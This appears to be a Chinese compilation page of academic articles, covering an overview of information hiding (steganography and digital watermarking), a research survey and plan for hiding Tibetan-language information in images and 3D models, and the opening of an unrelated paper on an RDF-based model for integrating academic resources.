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篇（1）

多媒體技術(shù)和通信技術(shù)帶來(lái)極大方便，但數(shù)字化的多媒體信息很容易受到非法訪問(wèn)、篡改、復(fù)制和傳播，給人們的生產(chǎn)生活及生命財(cái)產(chǎn)帶來(lái)隱患。魔高一尺道高一丈，信息隱藏技術(shù)應(yīng)運(yùn)而生。

一、信息隱藏技術(shù)及其特征

信息隱藏技術(shù)利用載體數(shù)據(jù)的冗余性以及人的感官局限性，將一個(gè)特定信息隱藏在另外一個(gè)被稱為載體的信息中。信息隱藏技術(shù)融合電子工程、計(jì)算機(jī)科學(xué)、信號(hào)處理、通信、多媒體技術(shù)等多學(xué)科，是新興技術(shù)體系。信息隱藏所用載體可以是文本、圖像、音頻、視頻，甚至可以是某個(gè)信道或某套編碼體制。信息能夠隱藏在載體中，載體數(shù)據(jù)本身具有很大的冗余性，未壓縮的多媒體信息編碼效率是很低，將某些信息嵌入到該載體信息中進(jìn)行秘密傳送完全可行，不會(huì)影響多媒體信息本身的傳送和使用；人的感覺(jué)器官對(duì)于所接收信息都有一定掩蔽效應(yīng)，如人耳對(duì)不同頻段聲音敏感程度不同，可將信息隱藏到載體中而不被覺(jué)察。

信息隱藏技術(shù)的特征明顯：不可察覺(jué)性，嵌入信息后，要求不會(huì)引起載體發(fā)生可感知變化；不可檢測(cè)性，嵌入隱藏信息后，計(jì)算機(jī)不能發(fā)現(xiàn)和檢測(cè)；安全性，嵌入信息后，必須擁有相關(guān)信息才能夠提取所嵌入內(nèi)容；純正性，提取操作時(shí)，即便載密文件受到損壓縮、解壓縮、濾波、轉(zhuǎn)換等擾動(dòng)，也能提取隱藏信息；穩(wěn)定性，隱藏信息能“永久”存在；安全性，第三方在不知道隱藏算法和隱藏密鑰情況下，不能獲取信息相關(guān)數(shù)據(jù)。信息隱藏技術(shù)按載體分為，基于文本、圖像、音頻、視頻、超文本、網(wǎng)絡(luò)層、圖形等媒體的信息隱藏技術(shù)；按嵌入域分為基于空域（或時(shí)域）和變換域的隱藏技術(shù)；按嵌入策略分為替換調(diào)制、模式調(diào)制和擴(kuò)頻疊加調(diào)制等技術(shù)；按提取要求分為盲隱藏技術(shù)和非盲隱藏技術(shù)；按作用分為隱蔽通信和數(shù)字水印技術(shù)；按密鑰分為無(wú)密鑰隱藏和有密鑰隱藏。

二、信息隱藏技術(shù)的研究及演進(jìn)

信息安全事關(guān)個(gè)人利益，也事關(guān)國(guó)家安全、社會(huì)穩(wěn)定以及經(jīng)濟(jì)發(fā)展，各國(guó)政府無(wú)不重視信息和網(wǎng)絡(luò)安全。密碼技術(shù)一直是保障信息安全的重要手段，但這并不能解決問(wèn)題。截獲者發(fā)現(xiàn)網(wǎng)絡(luò)文件加密，往往會(huì)引起注意，并激發(fā)其破解欲望，即使不能成功破解，也能輕易攔截并破壞秘密信息，干擾通信進(jìn)行。針對(duì)密碼技術(shù)的局限性，上世紀(jì)90年代國(guó)際上出現(xiàn)了信息隱藏技術(shù)（InformationHiding）。

現(xiàn)代信息隱藏研究主要集中在靜態(tài)圖像領(lǐng)域，目前信息隱藏所用載體已擴(kuò)展到文字、圖像、聲音及視頻等領(lǐng)域。在全球信息化、數(shù)字化迅猛發(fā)展時(shí)代背景下，對(duì)知識(shí)產(chǎn)權(quán)保護(hù)、隱密通信等需求激發(fā)了對(duì)信息隱藏技術(shù)的研究熱潮。國(guó)際上研究信息隱藏的機(jī)構(gòu)主要有劍橋大學(xué)、麻省理工學(xué)院、NEC美國(guó)研究所、IBM研究中心等，已提出了一些優(yōu)秀隱藏算法。我國(guó)于1999年在何德全、周仲義、蔡吉人等三位院士大力倡導(dǎo)下召開(kāi)了第一屆信息隱藏學(xué)術(shù)研討會(huì)，我國(guó)對(duì)信息隱藏的研究也取得重要成果。目前在信息隱藏中無(wú)論是數(shù)字水印還是隱密通信，都得到越來(lái)越廣泛應(yīng)用。應(yīng)用領(lǐng)域不斷擴(kuò)大，從最初靜態(tài)圖片發(fā)展到文本、音頻、視頻、電腦文件、流媒體、網(wǎng)頁(yè)及網(wǎng)絡(luò)傳輸中的數(shù)據(jù)包，甚至是無(wú)線通信領(lǐng)域中的語(yǔ)音通信和手機(jī)彩信等領(lǐng)域。我國(guó)對(duì)信息隱藏的研究取得了很多成果，基本與世界水平保持一致。如今信息隱藏研究已出現(xiàn)百花齊放、百家爭(zhēng)鳴局面。

三、信息隱藏技術(shù)的應(yīng)用

隨著信息技術(shù)飛速發(fā)展，人類(lèi)利用的信息越來(lái)越豐富，通信技術(shù)發(fā)展使人們能夠方便、快捷、靈活地使用文本、語(yǔ)音、圖像與視頻等多種方式通信；各種數(shù)字化信息處理技術(shù)使得網(wǎng)絡(luò)中傳輸任何類(lèi)型的文件（如文本、圖像、音頻和視頻等）都可被數(shù)字化，極大方便了對(duì)各種信息數(shù)據(jù)壓縮、存儲(chǔ)、復(fù)制、處理和利用。

信息隱藏技術(shù)主要有隱寫(xiě)術(shù)和數(shù)字水印。目前，信息隱藏技術(shù)的應(yīng)用主要在以下方面：一是隱密通信。通過(guò)隱寫(xiě)術(shù)將秘密信息嵌入在公開(kāi)媒體文件中傳播消息。早期的隱密通信，接收方和發(fā)送方甚至不必交換電子郵件，直接交互文件或登錄特定計(jì)算機(jī)和賬戶。隨著網(wǎng)絡(luò)及通信技術(shù)發(fā)展，隱密通信所用通信方式從簡(jiǎn)單數(shù)據(jù)文件交互到互聯(lián)網(wǎng)以及無(wú)線通信領(lǐng)域。二是版權(quán)保護(hù)。通過(guò)數(shù)字水印技術(shù)在媒體文件中嵌入特定數(shù)字標(biāo)識(shí)或簽名，標(biāo)識(shí)媒體文件所有權(quán)和版權(quán)信息等。三是數(shù)據(jù)完整性保護(hù)。防護(hù)篡改、完整性保護(hù)中所采用的數(shù)字水印為易損水印或脆弱水印，任何對(duì)媒體文件修改都會(huì)從隱藏?cái)?shù)據(jù)中反映出來(lái)。四是印刷品防偽。印刷品印刷之前嵌入一定標(biāo)識(shí)信息，印刷后作品可經(jīng)過(guò)掃描再次輸入計(jì)算機(jī)，通過(guò)特定水印提取和鑒別方法來(lái)鑒別作品真?zhèn)巍Ｎ迨强截惪刂啤？刂泼襟w文件拷貝次數(shù)，防止大規(guī)模盜版或非法復(fù)制。

信息隱藏技術(shù)重點(diǎn)運(yùn)用領(lǐng)域是移動(dòng)通信領(lǐng)域。移動(dòng)通信網(wǎng)絡(luò)方便快捷，在軍事和商業(yè)通信中廣泛應(yīng)用。移動(dòng)通信領(lǐng)域多媒體短信將文本、圖片、音頻、視頻等組合成多媒體消息進(jìn)行發(fā)送。移動(dòng)通信領(lǐng)域中多媒體短信以其特有的直觀性、生動(dòng)性和集成性，面市以來(lái)得到廣泛關(guān)注。多媒體短信即彩信的最大特色是支持多媒體功能，可將不同的媒體，如文本、圖片、音頻、視頻等組合在一起進(jìn)行發(fā)送。彩信標(biāo)準(zhǔn)并沒(méi)有對(duì)彩信所支持的文件格式給出具體限制，理論上只要在封裝打包時(shí)為彩信所包含的各媒體文件設(shè)置好適當(dāng)類(lèi)型參數(shù)即可；但實(shí)際上具體的彩信所支持媒體格式還是有限的，這主要與手機(jī)終端彩信軟件和MMSC支持傳送媒體格式有關(guān)。隨著3G普及以及手機(jī)終端行業(yè)發(fā)展，彩信所支持的媒體文件格式將更豐富多樣，為信息隱藏技術(shù)在彩信中的應(yīng)用提供了更為廣闊的空間。

【參考文獻(xiàn)】

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中圖分類(lèi)號(hào)：TN401 文獻(xiàn)標(biāo)識(shí)碼：A 文章編號(hào)：2095-1302（2014）12-00-05

0 引 言

安全、有效的信息傳輸對(duì)國(guó)家安全、社會(huì)穩(wěn)定和人民安居樂(lè)業(yè)至關(guān)重要。網(wǎng)絡(luò)和多媒體技術(shù)的發(fā)展，使得信息傳輸?shù)乃俣群蛿?shù)量正以驚人的增量發(fā)展。然而，信息傳輸?shù)谋憷诜奖闳藗兊耐瑫r(shí)也給信息安全帶來(lái)了隱患，同時(shí)也為基于數(shù)字載體的秘密信息傳輸提供了廣闊的研究空間。目前，基于載體的秘密信息傳輸是信息安全領(lǐng)域的一個(gè)方興未艾的研究熱點(diǎn)。而基于載體預(yù)處理的藏文信息隱藏技術(shù)將為信息安全領(lǐng)域提供一些新的數(shù)字信息共享和傳輸理念，特別是藏文的預(yù)處理規(guī)律、在數(shù)字信息中的隱藏規(guī)律等，將有助于涉藏秘密通信技術(shù)的發(fā)展，并可以對(duì)民用和商用領(lǐng)域中涉及到藏文內(nèi)容的傳輸、共享、存儲(chǔ)和提取的通信過(guò)程起到安全保護(hù)、版權(quán)保護(hù)及完整性認(rèn)證的作用，并對(duì)國(guó)家涉藏領(lǐng)域的網(wǎng)絡(luò)輿情監(jiān)控、國(guó)內(nèi)外涉藏敏感信息標(biāo)注和情感色彩認(rèn)知起著至關(guān)重要的作用。

在藏文信息隱藏技術(shù)方面，目前主要涉及的技術(shù)有關(guān)鍵字識(shí)別、字符識(shí)別和提取、韻律認(rèn)知、語(yǔ)義角色標(biāo)注、文本資源挖掘和語(yǔ)料抽取等，并以此為基礎(chǔ)進(jìn)行置亂優(yōu)化。

1 國(guó)內(nèi)外信息隱藏技術(shù)研究現(xiàn)狀

信息隱藏一直是信息安全領(lǐng)域中保障隱秘信息安全傳輸和數(shù)字信息版權(quán)的重要手段，也是近年來(lái)國(guó)內(nèi)外學(xué)者研究的熱點(diǎn)之一。最新的一屆ACM信息隱藏和多媒體安全會(huì)議（ACM IH&MMSec’13 Workshop）的主要研究?jī)?nèi)容有信息隱藏算法、多媒體水印和認(rèn)證、載體運(yùn)算域的數(shù)字信號(hào)處理等。其中，信息隱藏算法的設(shè)計(jì)首先依賴于載體的選擇和預(yù)處理;關(guān)于多媒體水印和認(rèn)證的研究則將信息隱藏和數(shù)字水印的載體范圍從數(shù)字圖像等常見(jiàn)載體拓展到了包括三維模型在內(nèi)的新型載體上;載體運(yùn)算域的數(shù)字信號(hào)處理涉及到了載體預(yù)處理時(shí)所用的具體方法，如空間域或變換域等。2013年IEEE 圖像處理國(guó)際會(huì)議（IEEE ICIP 2013）的主要研究?jī)?nèi)容包括圖像、音視頻和3-D等多媒體的信息隱藏算法和多媒體特征提取和分析等，這兩類(lèi)研究?jī)?nèi)容均與載體的選取和預(yù)處理有關(guān)。最新一屆信息隱藏國(guó)際會(huì)議（IH2012）的主要研究?jī)?nèi)容包括多媒體安全和其他載體的信息隱藏。我國(guó)的第十一屆全國(guó)信息隱藏暨多媒體安全學(xué)術(shù)大會(huì)（CIHW2013）中關(guān)于信息隱藏算法的研究?jī)?nèi)容也主要集中在非常規(guī)載體的分析和預(yù)處理上。

藏文作為信息隱藏領(lǐng)域一種新的信息格式，對(duì)其研究主要局限于藏文操作系統(tǒng)、藏文信息技術(shù)標(biāo)準(zhǔn)、藏文信息處理等幾個(gè)方面[1]，具體內(nèi)容集中在藏文編碼字符集、術(shù)語(yǔ)集、拼音輔助集等的建立。

基于載體的秘密通信技術(shù)是20世紀(jì)90年代中期發(fā)展起來(lái)的跨領(lǐng)域的學(xué)科，而載體的預(yù)處理技術(shù)一直是其研究的主要方向。對(duì)隱藏載體進(jìn)行預(yù)處理，生成信息隱藏嵌入?yún)^(qū)域是信息隱藏算法中最重要的研究?jī)?nèi)容之一。從上述國(guó)內(nèi)外各學(xué)術(shù)會(huì)議中關(guān)于信息隱藏的參會(huì)論文和研討情況看，各類(lèi)載體固有特性的研究對(duì)預(yù)處理技術(shù)有著重要的意義，且數(shù)字圖像依然是主要的一類(lèi)載體，而三維模型將是未來(lái)主要研究的一類(lèi)非常規(guī)載體。下面就對(duì)數(shù)字圖像和三維模型兩類(lèi)載體的預(yù)處理技術(shù)的研究現(xiàn)狀進(jìn)行闡述。

1.1 數(shù)字圖像預(yù)處理技術(shù)研究綜述

基于數(shù)字圖像的信息隱藏技術(shù)是信息隱藏學(xué)科中重要的技術(shù)分支，是目前應(yīng)用最廣、覆蓋范圍最大的信息隱藏技術(shù)手段。在基于數(shù)字圖像的信息隱藏技術(shù)研究中，信息隱藏區(qū)域的生成是關(guān)系算法性能的重要因素。信息隱藏區(qū)域的生成方法主要包括空間域生成法、變換域生成法以及空間域和變換域聯(lián)合的生成方法。

空間域算法：作為空間域算法中出現(xiàn)最早、操作最簡(jiǎn)單且應(yīng)用最廣泛的算法，基于位平面分解理論的LSB算法可以直接替換的方式隱藏較大的數(shù)據(jù)量，劉紅翼等提出的一種LSB算法具有容量大、運(yùn)算量小的特點(diǎn)[2];劉文彬等提出的LSB隱寫(xiě)替換的消息定位方法則可以對(duì)此類(lèi)算法進(jìn)行檢測(cè)[3];而IH2012的論文中，有學(xué)者運(yùn)用假設(shè)檢驗(yàn)理論和含秘載體的奇偶感知特性可有效地檢測(cè)LSB算法所隱藏的隱秘信息[4，5]，這些研究為藏文信息隱藏中涉及到關(guān)于此類(lèi)算法的抗檢測(cè)性研究提供了新的待改進(jìn)方向。張焱等提出的像素值排序和趙彥濤等提出的直方圖修改等空間域算法在沿用LSB直接替換的隱藏理念的同時(shí)，還提升了魯棒性，因此也被廣泛用于數(shù)字圖像載體預(yù)處理[6，7];隨后，楊春芳等提出了針對(duì)此類(lèi)算法的檢測(cè)方法[8]，這也為針對(duì)此類(lèi)算法抗檢測(cè)性改進(jìn)的研究提供了重要依據(jù)。此外，上述同類(lèi)算法中的載體子區(qū)域劃分思想、內(nèi)容自適應(yīng)思想等也對(duì)本項(xiàng)目基于載體結(jié)構(gòu)特性建立空間匹配模型的機(jī)制提供了方法學(xué)上的有力支持[9-13]。

變換域算法：不同于空間域算法直接對(duì)載體的空間特性進(jìn)行修改，變換域預(yù)處理方法以修改載體的頻率參數(shù)來(lái)隱藏信息[14]，因此算法的魯棒性比空間域算法好。在此基礎(chǔ)上，唐燕等又對(duì)隱秘信息的檢測(cè)和恢復(fù)進(jìn)行了研究和改進(jìn)，實(shí)現(xiàn)了幾乎無(wú)需原始參量的半盲提取[15]。盡管變換域算法不具備空間域算法容量大、運(yùn)算量小和易操作等優(yōu)勢(shì)，但是變換域中的多小波理論因其同時(shí)具有對(duì)稱性、短支撐性、二階消失矩和正交性等特性成為了信號(hào)處理中有明顯優(yōu)勢(shì)且較常用的方法，在前期研究中利用多小波方法將數(shù)字圖像載體分塊后作為嵌入?yún)^(qū)域，提高了算法的魯棒性和不可見(jiàn)性[16，17]，這種方法為在藏文信息隱藏研究中建立基于區(qū)域能量的階梯性分布機(jī)制提供了一種研究手段。

混合域算法：較單獨(dú)運(yùn)用一種空間域或變換域生成隱藏區(qū)域并設(shè)計(jì)信息隱藏算法來(lái)看，基于空間域與變換域聯(lián)合的信息隱藏算法可以兼有多種算法的性能優(yōu)勢(shì)。在基于空間域和變換域聯(lián)合的信息隱藏算法中，空間域的作用體現(xiàn)在數(shù)據(jù)嵌入的具體操作方面，因?yàn)殡[藏的實(shí)質(zhì)就是在當(dāng)前環(huán)境下的空間分量上進(jìn)行數(shù)據(jù)修改，利用邊緣像素值差分（Edged Pixel Value Differencing，EPVD）將載體換算為若干個(gè)像素塊，以最大斜角的數(shù)據(jù)修改作為信息隱藏的具體方法[18];利用濕紙碼和基于LSBM的雙層隱寫(xiě)來(lái)對(duì)載體進(jìn)行加1嵌入或減1嵌入[19];另外，國(guó)內(nèi)外許多學(xué)者利用調(diào)色板理論進(jìn)行數(shù)據(jù)嵌入[20，21]。而變換域在載體預(yù)處理中的主要作用是生成滿足特定需要的信息隱藏環(huán)境（區(qū)域），主要包括變換后的系數(shù)分布以及n階分量子圖等。如對(duì)RSV顏色空間的V分量做DCT變換，分塊后作為嵌入?yún)^(qū)域[22];利用視覺(jué)顯著點(diǎn)技術(shù)確定跟蹤窗（Regions of Interest，ROI），在ROI的DCT系數(shù)上嵌入隱藏信息，并指定某個(gè)ROI邊緣地圖脆弱性標(biāo)識(shí)，嵌入到DWT變換后的含密圖像中[23];前期研究中，研究人員利用自適應(yīng)顏色遷移理論中l(wèi)αβ域?qū)︻伾目刂屏Γ薘GB顏色分量的強(qiáng)相關(guān)性，并結(jié)合GHM能量分區(qū)隱藏信息，在不可見(jiàn)性、嵌入信息量和魯棒性方面均具有較好的表現(xiàn)[24]。

1.2 三維模型預(yù)處理技術(shù)研究綜述

潘志庚等將基于三維模型的信息隱藏預(yù)處理方法主要分為空間域算法和變換域算法[25]。這也這為藏文信息隱藏研究提供了新的思路和方法。

空間域算法：空間域算法通常具有易嵌入和盲提取的特點(diǎn)，如直接置換載體的幾何信息來(lái)隱藏?cái)?shù)據(jù)是三維模型載體信息隱藏最原始、最直接的方法[26]。為改進(jìn)此類(lèi)算法的魯棒性，引入仿射不變量是有效的措施，如利用具有連續(xù)解析性的仿射不變量?jī)?yōu)化需要置換的頂點(diǎn)[27]、 將穩(wěn)態(tài)錨點(diǎn)通過(guò)三角垂心編碼解析為聚類(lèi)元素從而嵌入隱秘信息[28]。此外，基于主元分析的算法也有助于改善空間域算法的魯棒性，例如可根據(jù)主元分析（Primary Component Analysis，PCA）來(lái)確定模型的關(guān)鍵位置作為魯棒區(qū)域，并用網(wǎng)格分割法改進(jìn)魯棒性和不可見(jiàn)性[29-32]。這類(lèi)算法也為藏文信息隱藏從載體結(jié)構(gòu)特性進(jìn)行解析和預(yù)處理提供了理論依據(jù)。改進(jìn)型的空間域算法多針對(duì)魯棒性或容量性有所提升，如基于連續(xù)解析性的體積矩的盲算法，改善了之前算法對(duì)連通性攻擊的魯棒性[33];通過(guò)重排頂點(diǎn)和面片在網(wǎng)格文件中的表示信息，利用表示域內(nèi)的信息進(jìn)行嵌入使算法具有良好的不可見(jiàn)性和大容量性[34]，但對(duì)相似變換以外的攻擊不具有魯棒性。

變換域算法：三維模型預(yù)處理的變換域方法大多利用頻譜分析將模型信息參數(shù)化[35]，對(duì)參數(shù)進(jìn)行少量修改后以隱藏信息，其中，基于小波變換的算法可以對(duì)規(guī)則和非規(guī)則網(wǎng)格模型進(jìn)行小波域參量修改以嵌入較多信息[36]。理論上，變換域算法比空間域算法魯棒性強(qiáng)，但由于三維模型頂點(diǎn)的天然無(wú)序性和不規(guī)則性，對(duì)其進(jìn)行頻譜分析難度大，導(dǎo)致變換域算法實(shí)用性目前較低，因此空間域算法依然是比變換域算法更有實(shí)用價(jià)值的研究方向[37]。

2 藏文信息隱藏技術(shù)研究現(xiàn)狀

目前反映藏文信息處理技術(shù)最新進(jìn)展的文獻(xiàn)較少，綜合以已有的研究成果及相關(guān)研究文獻(xiàn)，藏文信息處理可劃分為藏語(yǔ)信息處理和藏字信息處理兩個(gè)層次[38，39]。藏語(yǔ)信息處理包括機(jī)器翻譯、信息檢索、信息提取、文本校對(duì)、文本生成、文本分類(lèi)、自動(dòng)摘要以及藏文字識(shí)別和語(yǔ)音識(shí)別的后處理等等;而藏字信息處理包括操作系統(tǒng)以及編碼字符集、輸入技術(shù)、字形描述與生成、存儲(chǔ)、編輯、排版、字頻統(tǒng)計(jì)和藏字屬性庫(kù)等。這些研究基礎(chǔ)對(duì)藏文信息隱藏技術(shù)的發(fā)展至關(guān)重要，是基于載體預(yù)處理的藏文信息隱藏的主要技術(shù)來(lái)源。鑒于藏文的獨(dú)特構(gòu)造，以及藏文的特點(diǎn)，目前對(duì)藏文秘密信息的預(yù)處理技術(shù)一般指置亂和加密算法的選擇[40]，而置亂使信息變得雜亂無(wú)章難以辨認(rèn)，可以起到加密與改變信息嵌入特性的作用。可用于藏文信息隱藏的置亂算法主要有Arnold變換、幻方矩陣、Gray碼變換、混沌序列等方法[41]。其中，Arnold變換算法簡(jiǎn)單且置亂效果顯著，使有意義的數(shù)字圖像變成像白噪聲一樣的無(wú)意義圖像，實(shí)現(xiàn)了信息的初步加密和信息結(jié)構(gòu)的調(diào)整，在嵌入信息為數(shù)字圖像時(shí)可以很好的應(yīng)用[42]。幻方置亂的思想基于查表思想，基于數(shù)字圖像的幻方置亂可降低幻方置亂階數(shù)或以圖像塊進(jìn)行置亂，實(shí)現(xiàn)置亂效果與系統(tǒng)開(kāi)銷(xiāo)的平衡[43]。Gray是一種具有反射特性和循環(huán)特性的單步自補(bǔ)碼，它的循環(huán)、單步特性消除了隨機(jī)取數(shù)時(shí)出現(xiàn)重大誤差的可能，它的反射、自補(bǔ)特性使得求反非常方便[44]。混沌的優(yōu)勢(shì)在于對(duì)初始條件的極端敏感和軌跡在整個(gè)空間上的遍歷性。根據(jù)經(jīng)典的Shannon置亂與擴(kuò)散的要求，這些獨(dú)特的特征使得混沌映射成為信息隱藏嵌入算法的優(yōu)秀候選[45]。上述傳統(tǒng)的置亂算法一般用于正方形圖像處理，而經(jīng)過(guò)改進(jìn)的Arnold算法可直接用于寬高不等的矩形圖像而不必進(jìn)行正方形擴(kuò)展[46]，這也將是藏文信息隱藏技術(shù)所采用的主要置亂方法之一。

3 藏文信息隱藏技術(shù)的研究目標(biāo)、研究?jī)?nèi)容和要解決的問(wèn)題

3.1 研究目標(biāo)

面向藏文安全通信的高性能信息隱藏算法是目前藏文信息隱藏技術(shù)的主要目標(biāo)，包括提出性能出色的、適合藏文通信要求的信息隱藏算法;提出一種具有普適性的高性能信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則：

（1） 基于數(shù)字圖像的藏文信息隱藏算法：提出至少兩種基于數(shù)字圖像的藏文信息隱藏算法，算法將同時(shí)滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見(jiàn)性（PSNR≥34.90dB）、強(qiáng)魯棒性（抗擊大約69%以下的JPEG2000壓縮、35%以下的剪切及常見(jiàn)濾波與加噪）、大容量性（基于彩色圖像的信息隱藏信息嵌入率≥18%）以及高感知篡改性（檢測(cè)隱藏?cái)?shù)據(jù)是否被篡改能力≥95%）。

（2） 基于三維模型的藏文信息隱藏算法：提出至少一種基于三維模型的藏文信息隱藏算法。算法將同時(shí)滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見(jiàn)性（RSNR≥69.94dB、En≥70%）、應(yīng)對(duì)一般攻擊的強(qiáng)魯棒性（抗擊大約0.10%隨機(jī)加噪、50-times Laplacian平滑、50%均勻重網(wǎng)格化以及均勻簡(jiǎn)化等）、大容量性（相對(duì)理想的RSNR，嵌入率≥29%）以及低復(fù)雜度（根據(jù)載體模型幾何信息量而變化）。

（3） 普適性信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則：利用載體圖像能量和復(fù)雜度特性，提出基于能量性和復(fù)雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則，將適應(yīng)于所有對(duì)數(shù)字圖像處理后有能量區(qū)別的圖像處理方法，指導(dǎo)設(shè)計(jì)者利用能量與魯棒性、復(fù)雜度與不可見(jiàn)性的對(duì)應(yīng)關(guān)系，研究出同時(shí)滿足不可見(jiàn)性和魯棒性的信息隱藏算法。

3.2 研究?jī)?nèi)容

（1） 藏文信息隱藏區(qū)域生成原則與規(guī)則研究：數(shù)字圖像信息隱藏技術(shù)的研究核心集中在隱藏區(qū)域和嵌入規(guī)則的設(shè)計(jì)上，藏文信息隱藏算法的設(shè)計(jì)方法和思路就是在選定藏文信息隱藏區(qū)域以及制定好信息隱藏規(guī)則后，按照一定的順序?qū)烧哌M(jìn)行合理的組織，所以研究藏文信息隱藏區(qū)域生成原則以及信息隱藏規(guī)則是重點(diǎn)。

（2） 基于數(shù)字圖像的藏文信息隱藏算法研究：隱藏算法是基于數(shù)字圖像的信息隱藏技術(shù)的研究核心，需按照嵌入域進(jìn)行劃分，對(duì)基于空間域和基于變換域的信息隱藏算法分別進(jìn)行研究，提出單獨(dú)基于空間域、單獨(dú)基于變換域以及兩者聯(lián)合應(yīng)用的數(shù)字圖像信息隱藏算法。

（3） 基于三維模型的藏文信息隱藏算法研究：首先對(duì)三維模型的結(jié)構(gòu)特性和能量特性進(jìn)行研究，再根據(jù)載體模型的特性找出對(duì)應(yīng)的預(yù)處理方法。在研究基于空間域和基于變換域的信息隱藏算法的基礎(chǔ)上，提出改進(jìn)型的三維模型信息隱藏算法。主要用于提升載體有效嵌入容量和降低載體視覺(jué)失真度。

（4） 載體與藏文秘密信息的一致化方法研究：基于上述研究基礎(chǔ)，生成結(jié)構(gòu)和能量差異化子區(qū)域，再將藏文秘密信息按照拼音屬性進(jìn)行解析生成信息序列。再利用優(yōu)化算法使得預(yù)處理后的載體信息和藏文秘密信息的解析編碼獲得最大一致化，從而提高算法性能。

3.3 需解決的關(guān)鍵問(wèn)題

綜合已有的研究，在藏文信息隱藏技術(shù)方面，目前需要解決的問(wèn)題有以下幾個(gè)方面：

（1） 信息隱藏區(qū)域與嵌入規(guī)則設(shè)計(jì)：在具有什么性質(zhì)的區(qū)域內(nèi)應(yīng)用什么樣的規(guī)則進(jìn)行藏文信息隱藏才可以解決“不可見(jiàn)性與魯棒性的對(duì)立、容量性與抗分析性的對(duì)立”問(wèn)題，是藏文信息隱藏研究領(lǐng)域的關(guān)鍵技術(shù)之一。需找出隱藏區(qū)域的性質(zhì)與信息隱藏性能的關(guān)系，提出面向藏文信息傳輸?shù)男畔㈦[藏區(qū)域選擇的原則與方法;給出在具有具體性質(zhì)的嵌入?yún)^(qū)域中的藏文信息隱藏嵌入規(guī)則的制定原理和方法;提出大量的藏文信息數(shù)據(jù)轉(zhuǎn)換思想與方法，以提供形式多樣的信息隱藏嵌入規(guī)則。

（2） 數(shù)字圖像載體預(yù)處理方法：①多小波理論在載體預(yù)處理中的應(yīng)用。對(duì)于數(shù)字圖像經(jīng)過(guò)多小波變換后所具有的特殊性質(zhì)，找出多小波變換后數(shù)字圖像所具有的能量特性與基于數(shù)字圖像信息隱藏算法性能之間所遵循的規(guī)律已有學(xué)者進(jìn)行研究。②顏色空間的性能分析與應(yīng)用選取。RGB、CMYK、lαβ、YUV以及HSx顏色空間，應(yīng)用方法以及應(yīng)用各有優(yōu)劣勢(shì)。該技術(shù)的應(yīng)用難點(diǎn)在于為顏色空間在藏文信息隱藏的應(yīng)用提出完備的應(yīng)用方案，因?yàn)檫@些顏色空間在藏文信息隱藏技術(shù)中的應(yīng)用目前非常少，應(yīng)用優(yōu)劣還處于實(shí)驗(yàn)驗(yàn)證階段，沒(méi)有理論驗(yàn)證的支持。

（3） 三維網(wǎng)格模型載體預(yù)處理方法：骨架抽取和內(nèi)切球解析技術(shù)在藏文信息隱藏算法中的應(yīng)用。這種方法不涉及頂點(diǎn)數(shù)量及坐標(biāo)的改變和拓?fù)潢P(guān)系的修改。難點(diǎn)在于尋找一個(gè)理想的仿射不變量作為輔助參數(shù)以彌補(bǔ)算法對(duì)縮放攻擊的脆弱性。

（4） 藏文的置亂與遺傳優(yōu)化算法：有的藏文字處理系統(tǒng)把藏文看成是由30個(gè)輔音、4個(gè)元音、3個(gè)上加字、5個(gè)下加字共42個(gè)藏文字符組成的，而有的則認(rèn)為由其他數(shù)量的字符組成。基于對(duì)藏文中加字對(duì)發(fā)音的影響規(guī)律的研究，利用字符與二進(jìn)制碼的解析規(guī)則和置亂與優(yōu)化技術(shù)對(duì)信息置亂，達(dá)到隱藏信息與載體信息的最大匹配度也是一個(gè)技術(shù)難點(diǎn)。

4 藏文信息隱藏技術(shù)研究的新方法

（1）利用載體圖像能量和復(fù)雜度特性，提出基于能量性和復(fù)雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則。高能量與強(qiáng)魯棒、高復(fù)雜度與高不可見(jiàn)性的對(duì)應(yīng)關(guān)系，從根本上解決藏文信息隱藏算法中不可見(jiàn)性和魯棒性的對(duì)立問(wèn)題，為面向藏文通信安全的信息隱藏算法的設(shè)計(jì)給出一種普適性方法。

（2）根據(jù)數(shù)字圖像信息隱藏嵌入?yún)^(qū)域的生成原則和嵌入規(guī)則，提出新的、高性能的數(shù)字圖像的藏文信息隱藏算法。算法利用lαβ等顏色空間轉(zhuǎn)換以及多小波對(duì)載體圖像進(jìn)行的處理，生成具有不同能量特性的嵌入?yún)^(qū)域，從頻率域上滿足藏文信息隱藏的應(yīng)用要求;通過(guò)對(duì)載體圖像進(jìn)行顏色遷移、矢量解析以及環(huán)形處理，從數(shù)字圖像的空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

（3）提出滿足三維模型結(jié)構(gòu)特性和能量特性的藏文信息隱藏算法。算法利用局部高度理論和均值偏移理論對(duì)載體模型進(jìn)行預(yù)處理，生成具有不同能量特性的嵌入?yún)^(qū)域，從頻域上滿足信息隱藏的應(yīng)用要求;通過(guò)對(duì)載體圖像進(jìn)行骨架抽取、內(nèi)切球解析，從空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

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篇（3）

中圖分類(lèi)號(hào)：TP391文獻(xiàn)標(biāo)識(shí)碼：A文章編號(hào)：1009-3044(2012)09-1985-03

An RDF-based Integration Model of Academic Resources

YAO Jin-feng1, CHEN Lei2

(1.School of Computer Science and Engineering, Anhui University of Science and Technology, Huainan 232001, China; 2.Department of Computer and Information Engineering, Huainan Normal University, Huainan 232038, China)

Abstract: Resources like papers or thesises can be abstraced as knowledge base. After analysed, we find it is appropriate to describe the Web objects of the academic resources using the Resource Description Frame(RDF) statements, and also, we can create the academic ontology with OWL. This paper proposes a mechamism of the semantic query and logical inference, deploys a academic resource knowledge discovery system which has the characters of the Semantic Web, and it will faciliate the user query and the management.

Key words: semantic web; RDF; academic resources; ontology

1概述

對(duì)于高校的教師和學(xué)生而言，論文之類(lèi)的學(xué)術(shù)資源是一種從事學(xué)習(xí)和科研的重要知識(shí)資源，對(duì)它們的搜索與發(fā)現(xiàn)也是教師和學(xué)生的知識(shí)獲取的重要手段。為了幫助用戶的搜索，各高校和一些相關(guān)機(jī)構(gòu)都推出了一些論文查詢機(jī)制（如萬(wàn)方、維普等），極大地方便了相關(guān)人群的使用。

